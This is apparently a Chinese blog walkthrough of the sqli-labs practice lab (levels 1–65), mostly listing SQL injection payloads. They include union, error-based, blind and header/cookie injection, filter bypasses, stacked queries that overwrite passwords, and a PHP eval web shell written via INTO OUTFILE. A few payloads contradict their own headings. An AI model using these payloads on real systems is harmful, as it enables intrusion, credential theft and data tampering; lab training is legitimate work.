SQL注入篇——sqli-labs各關卡方法介紹|1-65

主要是記下來了每關通過可以採用的注入方式,可能部分關卡的通關方式寫的不全面,歡迎指出,具體的獲取數據庫信息請手動操作一下。

環境初始界面如下:

sql注入流程語句:

order by 3--+    #判斷有多少列
union select 1,2,3--+   #判斷數據顯示點
union select 1,user(),database()--+   #顯示出登錄用戶和數據庫名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3--+   #查看數據庫有哪些表
#查看對應表有哪些列
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3--+
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3--+   #查看賬號密碼信息
union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   #報錯注入,中間的database()可以替換上面的語句
and (length(database()))=8    #bool注入
  • less-1:基於單引號的字符型注入
注入點語句格式:id=1' and 1=1 --         #判斷方式輸入'和''兩次的結果不一致,就可能是'閉合

  • less-2:布爾型注入
注入點語句格式:id=1 and 1=1 --+

  • less-3:基於’)的字符型注入
注入點語句格式:id=1') and 1=1 --+           #根據第一關的判斷方式基本可以斷定和'有關,但是是失敗的,然後就想到了)閉合

  • less-4:基於”)字符型注入
注入點語句格式:id=1') and 1=1 --+   #測試回顯數據時前面參數修改為0

  • less-5:基於’字符型的錯誤回顯注入

對於這種只返回成功或失敗的只能採取報錯注入或bool注入的方式

注入點語句格式1:1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   #報錯注入
注入點語句格式2:1' and length(database())=8--+   #bool注入

  • less-6:基於”字符型的錯誤回顯注入
注入點語句格式1:1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+   #報錯注入
注入點語句格式2:1' and length(database())=8--+   #bool注入

  • less-7:文件讀寫注入
注入點語句格式:1'))  UNION SELECT 1,"<?php eval($_REQUEST[upfine]); ?>",3 into outfile "d:\\upfine.php"--+
#需要開啟數據庫的寫入權限,即secure_file_priv無屬性值(不是NULL),可通過:show global variables like '%secure%';查看

  • 8-less:基於’的布爾注入
注入點語句格式:1' and length(database())=8 --+   #對於這種只返回成功與否的可以考慮報錯注入

  • 9-less:基於’的時間盲注
注入點語句格式:1' and if(length(database())>3,sleep(5),1)--+        #sleep被過濾的時候可以通過具有一定計算時間的函數進行替代

  • 10-less:基於”的時間盲注
注入點語句格式:1" and if(length(database())>3,sleep(5),1)--+        #sleep被過濾的時候可以通過具有一定計算時間的函數進行替代

  • 11-less:基於’的POST型注入
注入點語句格式1:username:1' or '1'='1   passwd:1' or '1'='1
注入點語句格式2:username:1' or 1=1#
注入點語句格式3:username:\    passwd:or 1=1#            #此原理利用的是轉義服務端語句中的閉合符號成為name值的一部分

  • 12-less:基於”)的POST型注入
注入點語句格式1:username:1") or 1=1#

  • 13-less:基於’)的錯誤回顯注入
注入點語句格式:username:1') union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 14-less:基於”的報錯注入
注入語句格式:username:1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  • 15-less:基於’的延時注入和bool注入
注入語句格式1:username:admin' and if(length(database())>3,sleep(5),1)#            #測試時用戶名必須存在
注入語句格式2:username:1' or length(database())>3#                                #bool注入

  • 16-less:基於”)的延時注入和bool注入
注入語句格式1:username:admin") and if(length(database())>3,sleep(5),1)#            #測試時用戶名必須存在
注入語句格式2:username:1") or length(database())>3#                                #bool注入

  • 17-less:基於’的密碼報錯注入和bool注入
注入語句格式1:uname:admin    passwd:12' where length(database())>3#     #bool注入
注入語句格式2:uname:admin    passwd:12' and (updatexml(1,concat(0x7e, database(),0x7e),1))#    #報錯注入

  • 18-less:基於’的User-Agent:報頭文報錯注入

這一個關卡需要登錄成功才會顯示user-agent信息(審計源代碼信息)

注入語句格式1:User-Agent: ',updatexml(1,concat(0x7e,database(),0x7e),1),1)#或者',1,updatexml(1,concat(0x7e, database(),0x7e),1))# #報錯注入,主要是形成insert語句的閉合
注入語句格式2:User-Agent: ',1,if(length(database())>3,sleep(10),1))#    #延時注入

  • 19-less:基於’的Referer:報頭文報錯注入
注入語句格式1:Referer:',updatexml(1,concat(0x7e,database(),0x7e),1))#            #報錯注入
注入語句格式2:Referer:',if(length(database())>3,sleep(10),1))#                 #延時注入

  • 20-less:基於’的cookie報錯注入和延時注入
注入語句格式1:Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1))#        #報錯注入
注入語句格式2:Cookie: uname=admin' and if(length(database())>3,sleep(10),1)#         #延時注入

  • 21-less:基於’)的cookie信息(加密)注入(聯合注入和報錯注入)

需要對代碼進行審計,在代碼中發現對cookee獲取的數據進行解碼後直接帶入了查詢,代碼信息如下:

主語語句格式1:Cookie:uname=') union select 1,2,3#      payload:Cookie:uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw==     #聯合注入 
注入語句格式2:Cookie: uname=') and (updatexml(1,concat(0x7e,user(),0x7e),1))#    payload:Cookie:uname=JykgYW5kICh1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSx1c2VyKCksMHg3ZSksMSkpIw==    #報錯注入

 

  • 22-less:基於”字符型的Cookie注入

同樣是審查源代碼,步驟同21-less。

主語語句格式1:Cookie:uname=" union select 1,2,3#      payload:Cookie:uname=     #聯合注入 
注入語句格式2:Cookie: uname=" and (updatexml(1,concat(0x7e,user(),0x7e),1))#    payload:Cookie:uname=IiBhbmQgKHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHVzZXIoKSwweDdlKSwxKSkj    #報錯注入

  • 23-less:過濾注釋符#和–+的GET型注入
注入語句格式1:Cookie:uname=0' union select 1,2,'3        #聯合注入  這裡注意下第三個參數返回值就是'內的值,而非執行的結果

24-less:環境錯誤,一直出來修改密碼界面,先放一放

  • 25-less:過濾or和and的單引號注入
注入語句格式1:0' union select 1,2,3--+           #涉及到or和and的雙寫繞過即可:payload:1' anandd 1=1--+或2 oorr 1=1
注入語句格式2:1'anandd((length(database())>3))anandd'1'='1               #bool注入
注入語句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1  #延時注入
注入語句格式4:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1   #報錯注入

  • 25a-less:過濾or和and的數字型注入
注入語句格式1:0 union select 1,2,3--+           #涉及到or和and的雙寫繞過即可:payload:1 anandd 1=1--+或2 oorr 1=1
注入語句格式2:1%a0anandd((length(database())>3))anandd%a01=1               #bool注入
注入語句格式3:1%a0anandd(if(length(database())>3,sleep(10),1))anandd%a01%a0=%a01  #延時注入
注入語句格式4:0%a0anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd%a01%a0=%a01   #報錯注入

  • 26-less:基於’過濾注釋、空格、or、and、–、#等的注入
注入語句格式1:2'oorr'1'='1            #確定注入點,注意第一個數字是2,返回的確實數字為1的結果,所以後面語句生效
注入語句格式2:0'anandd(updatexml(1,concat(0x7e,user(),0x7e),1))anandd'1'='1       #報錯注入
注入語句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1           #延時注入
注入語句格式4:1'anandd((length(database())>3))anandd'1'='1                        #bool注入

  • 26a-less:基於’)過濾注釋、空格、or、and、–、#等的注入
注入語句格式1:1')anandd(if(length(database())>3,sleep(10),1))anandd('1')=('1           #延時注入
注入語句格式2:1')union%a0select%a01,2,3%a0anandd('1')=('1                     #聯合注入
注入語句格式3:1')anandd((length(database())>3))anandd('1')=('1                #bool注入

  • 27-less:基於’過濾union、select、注釋、空格等的注入
注入語句格式1:0'and(updatexml(1,concat(0x7e,user(),0x7e),1))and'1'='1       #報錯注入
注入語句格式2:1'and(if(length(database())>3,sleep(10),1))and'1'='1           #延時注入
注入語句格式3:1'and((length(database())>3))and'1'='1                        #bool注入
注入語句格式4:0'%a0ununionion%a0selselectECT%a01,2,'3                        #聯合注入

  • 27a-less:基於”過濾union、select、注釋、空格等的注入
注入語句格式:1"and((length(database())>3))and"1"="1         #bool注入
注入語句格式2:1"and(if(length(database())>3,sleep(10),1))and"1"="1           #延時注入

  • 28-less:基於’)過濾空格的注入
注入語句格式1:0')union%a0select%a01,2,('3          #聯合注入
注入語句格式2:1')and((length(database())>3))and('1')=('1       #bool注入

  • 28a-less:基於’)過濾空格的注入
注入語句格式1:0')union%a0select%a01,2,('3          #聯合注入
注入語句格式2:1')and((length(database())>3))and('1')=('1       #bool注入

29、30、31關卡需要先搭建jsp環境

jspstudy下載連接://www.xp.cn/download.html,根據提示進行安裝即可,安裝完成後在其他選項菜單中點擊站點域名管理,然後進行保存並生成配置文件(這裡注意下目錄,如果錯誤導致服務啟動不了,則去對應服務中的配置文件中修改下目錄即可),注意修改apache、mysql、tomcat的端口,不要與phpstudy的端口衝突,這三個關卡需要同時啟動jspstudy和phpstudy,最後環境搭建成功結果如下:

  • 29-less:基於’的http請求的參數污染注入
注入語句格式1:?id=1&id=0' union select 1,2,3--+            #聯合注入
注入語句格式2:?id=1&id=0'and updatexml(1,concat(0x5e,database(),0x5e),3)--+            #報錯注入

  • 30-less:基於”的http請求的參數污染注入
注入語句格式1:?id=1&id=0" union select 1,2,3--+            #聯合注入

  • 31-less:基於”)的http請求的參數污染注入
注入語句格式1:?id=1&id=0") union select 1,2,3--+            #聯合注入

  • 32-less:寬位元組注入:源於程序員設置MySQL連接時的錯誤配置(set character_set_client=gbk,導致%df%27變成了運)
注入語句格式1:?id=-1%df' union select 1,2,3--+            #寬位元組注入

  • 33-less:get型寬位元組注入(addslashes函數過濾)
注入語句格式1:?id=-1%df' union select 1,2,3--+            #寬位元組注入

  • 34-less:post型寬位元組注入
注入語句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit          #寬位元組注入
說明:這裡是根據頁面是正常回顯和報錯來判斷注入語句是否正確的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit   #回顯是攻擊
uname=a%df' order by 3 #&passwd=admin&submit=Submit   #回顯是報錯

  • 35-less:數值型注入(對’等字符進行了轉義,但是數值型注入與’無關)
注入語句格式1:?id=0 union select 1,2,3--+   #聯合注入

  • 36-less:寬位元組注入(Bypass MySQL Real Escape String)
注入語句格式1:?id=0%df' union select 1,2,3--+            #寬位元組注入

  • 37-less:post寬位元組注入(MySQL_real_escape_string)
注入語句格式1:uname=a%df' union select 1,2#&passwd=admin&submit=Submit          #寬位元組注入
說明:這裡是根據頁面是正常回顯和報錯來判斷注入語句是否正確的
例如:
uname=a%df' order by 2 #&passwd=admin&submit=Submit   #回顯是攻擊
uname=a%df' order by 3 #&passwd=admin&submit=Submit   #回顯是報錯

  • 38-less:基於’閉合的堆疊注入
注入語句格式1:?id=0%27union%20select%201,2,3--+   #聯合注入
注入語句格式2:?id=1%27;update users set password='@upfine' where username='Dumb';--+    #堆疊注入  後面可替換sql語句

  • 39-less:基於數字型的堆疊注入
注入語句格式1:?id=0 union%20select%201,2,3--+   #聯合注入
注入語句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+    #堆疊注入  後面可替換sql語句

  • 40-less:基於’)閉合的堆疊注入
注入語句格式1:?id=0') union%20select%201,2,3--+   #聯合注入
注入語句格式2:?id=1');update users set password='@upfine' where username='Dumb';--+  #堆疊注入

  • 41-less:基於數字型的堆疊注入
注入語句格式1:?id=0 union select 1,2,3--+   #聯合注入
注入語句格式2:?id=1;update users set password='@upfine' where username='Dumb';--+  #堆疊注入

  • 42-less:基於’閉合的post提交方式的堆疊注入
注入語句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆疊注入

  • 43-less:基於’)閉合的post提交方式的堆疊注入
注入語句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆疊注入

  • 44-less:基於’閉合的post提交方式的堆疊注入
注入語句格式1:login_user=admin&login_password=admin';update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆疊注入

  • 45-less:基於’)的post提交方式的堆疊注入
注入語句格式1:login_user=admin&login_password=admin');update users set password='@upfine' where username='Dumb';--+&mysubmit=Login   #堆疊注入

  • 46-less:order by函數基於數字型的注入
注入語句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延時注入  延時時間為數據量*延時時間,因此可寫0.2或0.3,下面相同關卡此處一樣
注入語句格式2:?sort=updatexml(1,concat(0x5e,database(),0x5e),3)--+  #報錯注入

  • 47-less:order by函數基於字符型’閉合的注入
注入語句格式1:?sort='updatexml(1,concat(0x5e,database(),0x5e),3)--+  #報錯注入
注入語句格式2:?sort=1'and if(length(database())>3,sleep(1),1)--+  #延時注入  可將判斷條件換成substr(database(),1,1)='s'之類的

  • 48-less:order by函數基於數字型的注入(去掉了報錯回顯)
注入語句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延時注入  延時時間比寫的時間長很多,原因同上

  • 49-less:order by函數基於字符型’閉合的注入(去掉了報錯回顯)
注入語句格式1:?sort=1'and if(length(database())>3,sleep(1),1)--+  #延時注入  可將判斷條件換成substr(database(),1,1)='s'之類的

  • 50-less:order by基於數字的堆疊注入
注入語句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延時注入  
注入語句格式2:?sort=1 and updatexml(1,concat(0x5e,database(),0x5e),3)--+       #報錯注入
注入語句格式3:?sort=1;update users set password='@upfine' where username='Dumb';--+            #堆疊注入

  • 51-less:order by基於’閉合的堆疊注入
注入語句格式1:?sort=1' and updatexml(1,concat(0x5e,database(),0x5e),3)--+       #報錯注入
注入語句格式2:?sort=1';update users set password='@upfine' where username='Dumb';--+        #堆疊注入

  • 52-less:order by基於數字的堆疊注入(去掉報錯注入)
注入語句格式1:?sort=If(length(database())>3,sleep(1),1)--+  #延時注入  
注入語句格式2:?sort=1;update users set password='@upfine' where username='Dumb';--+  #堆疊注入

  • 53-less:order by基於’閉合的堆疊注入(去掉報錯注入)
注入語句格式1:?sort=1';update users set password='@upfine' where username='Dumb';--+  #堆疊注入

  • 54-less:基於’閉合的union注入
注入過程
1'--+   #判斷閉合方式
1' order by 3--+    #判斷有多少列
0' union select 1,2,3--+   #判斷數據顯示點
0' union select 1,user(),database()--+   #顯示出登錄用戶和數據庫名
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+   #查看數據庫有哪些表
#查看對應表有哪些列
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0' union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+   

  • 55-less:基於)閉合的union注入
注入過程
1)--+   #判斷閉合方式
1) order by 3--+    #判斷有多少列
0) union select 1,2,3--+   #判斷數據顯示點
0) union select 1,user(),database()--+   #顯示出登錄用戶和數據庫名
0) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+   #查看數據庫有哪些表
#查看對應表有哪些列
0) union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0) union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+   

  • 56-less:基於’)閉合的union注入
注入過程
1')--+   #判斷閉合方式
1') order by 3--+    #判斷有多少列
0') union select 1,2,3--+   #判斷數據顯示點
0') union select 1,user(),database()--+   #顯示出登錄用戶和數據庫名
0') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+   #查看數據庫有哪些表
#查看對應表有哪些列
0') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0') union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+   

  • 57-less:基於”閉合的union注入
注入過程
1"--+   #判斷閉合方式
1" order by 3--+    #判斷有多少列
0" union select 1,2,3--+   #判斷數據顯示點
0" union select 1,user(),database()--+   #顯示出登錄用戶和數據庫名
0" union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'CHALLENGES' ),3--+   #查看數據庫有哪些表
#查看對應表有哪些列
0" union select 1,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h' ),3--+
0" union select 1,(select group_concat(concat_ws(0x7e,sessid,secret_KWLI))from hmtuzmnr7h),3--+

  • 58-less:基於’閉合得報錯注入
注入過程
1'--+  #判斷閉合方式
0' and updatexml(1,concat(0x5e,database(),0x5e),x) --+   #數據庫名
0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0' and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+ 
#updatexml函數只能返回32位數據,可以結合substr函數或倒敘其內容

  • 59-less:基於數字型得報錯注入
注入過程
1--+#判斷閉合方式
0 and updatexml(1,concat(0x5e,database(),0x5e),x) --+   #數據庫名
0 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0 and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+ 
#updatexml函數只能返回32位數據,可以結合substr函數或倒敘其內容

  • 60-less:基於”)閉合的報錯注入
注入過程
1")--+#判斷閉合方式
0") and updatexml(1,concat(0x5e,database(),0x5e),x) --+   #數據庫名
0") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0") and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+ 
#updatexml函數只能返回32位數據,可以結合substr函數或倒敘其內容

  • 61-less:基於’))閉合的報錯注入
注入過程
1'))--+#判斷閉合方式
0')) and updatexml(1,concat(0x5e,database(),0x5e),x) --+   #數據庫名
0')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),3) --+表名
0')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='hmtuzmnr7h'),0x7e),1)--+列明
0')) and updatexml(1,concat(0x7e,(select sessid from hmtuzmnr7h limit 0,1),0x7e),1)--+ 
#updatexml函數只能返回32位數據,可以結合substr函數或倒敘其內容

  • 62-less:基於’)閉合的bool注入
注入過程
1')--+#判斷閉合方式
1') and substr(database(),1,1)='c'--+   #使用腳本獲取數據庫名    腳本可以參考://www.cnblogs.com/upfine/p/16556520.html
1') and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #獲取表明
1') and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+   #獲取列明
1') and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+    #獲取數據
1') and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+  #可用於驗證

#上面步驟中省略掉了判斷數據的長度、列的長度、列的數量、表的長度等步驟,修改為length()函數即可

  • 63-less:基於’閉合的bool注入
注入過程
1'--+#判斷閉合方式
1' and substr(database(),1,1)='c'--+   #使用腳本獲取數據庫名    腳本可以參考://www.cnblogs.com/upfine/p/16556520.html
1' and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #獲取表明
1' and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+   #獲取列明
1' and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+    #獲取數據
1' and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+  #可用於驗證

#上面步驟中省略掉了判斷數據的長度、列的長度、列的數量、表的長度等步驟,修改為length()函數即可

  •  64-less:基於))閉合的bool注入
注入過程
1))--+#判斷閉合方式
1)) and substr(database(),1,1)='c'--+   #使用腳本獲取數據庫名    腳本可以參考://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #獲取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+   #獲取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+    #獲取數據
1)) and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+  #可用於驗證

#上面步驟中省略掉了判斷數據的長度、列的長度、列的數量、表的長度等步驟,修改為length()函數即可

  •  65-less:基於”)閉合的bool注入
注入過程
1))--+#判斷閉合方式
1)) and substr(database(),1,1)='c'--+   #使用腳本獲取數據庫名    腳本可以參考://www.cnblogs.com/upfine/p/16556520.html
1)) and substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='h'--+ #獲取表明
1)) and substr((select column_name from information_schema.columns where table_name='hmtuzmnr7h' limit 0,1),1,1)='i'--+   #獲取列明
1)) and substr((select sessid from hmtuzmnr7h limit 0,1),1,1)='8'--+    #獲取數據
1") and (select sessid from hmtuzmnr7h limit 0,1)='8497a1cc70f42de1ab3d4ed57d54ff83'--+  #可用於驗證

#上面步驟中省略掉了判斷數據的長度、列的長度、列的數量、表的長度等步驟,修改為length()函數即可

Tags: